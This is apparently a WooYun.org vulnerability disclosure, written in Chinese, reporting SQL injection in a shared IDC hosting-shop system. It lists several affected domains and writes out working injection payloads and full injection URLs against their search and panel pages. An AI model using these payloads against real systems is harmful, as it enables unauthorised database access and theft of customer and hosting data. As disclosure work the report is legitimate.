WooYun.org

1.参考问题
WooYun: 某IDC商城系统消息管理中心0day SQL注入漏洞，影响国内大部分IDC在线商城
WooYun: 某IDC网络商城系统存在0day SQL注入漏洞，影响国内大部分IDC在线商城
2.先说一些网址
http://www.zkwo.com/
http://www.72z.org/
http://www.zhiweikeji.cn/
3.源码是一样的，于是就造成了，系列的利用，gogo问题
基本上搜索型诸注入漏洞等问题
4.首先我们看一个72z.org的http://72z.org/support/s.aspx?p=这个我们加入'测试

看图，明显的注入,此处加入NHibernate %') and user >0 and ('%'='

我们等进去看看 情况如何

%') and 1=(select+@@version) and ('%'='

然后说明一下 这个站点可以gogo一下 危害不解释 各种数据 各种域名 各种空间神马的
然后我们看下边几个问题
http://www.zhiweikeji.cn//support/s.aspx?p=%')%20and%20user%20%3E0%20and%20('%'='
http://www.zkwo.com//support/s.aspx?p=%')%20and%20user%20%3E0%20and%20('%'='
看一图片

然后我就吓尿了 然后gogo关键字，站点也不少，几十个应该还是有的
5.然后就是登陆后，各种姿势的搜索型注入问题这个不说啦
6.继续我们往下看，控制面板的问题，post啦
www.cantonshop.cn/panel/
这个问题是注册域名 产品管理来的

报个数据名吧：1' and user>0 and '1'='1

ok啦 我登陆啦一下 看到一个东西，这不是无缘无故的
追朔到一个之前提到的IDC，看图说话

主服务器DNS和源码 都跟之前那写个某IDC系列一模一样 不解释
7.说道这里 rank看着给了，连着上边的IDC邮箱系列 gogo一下看结果
不解释 gogo的数据会暴漏这个严重性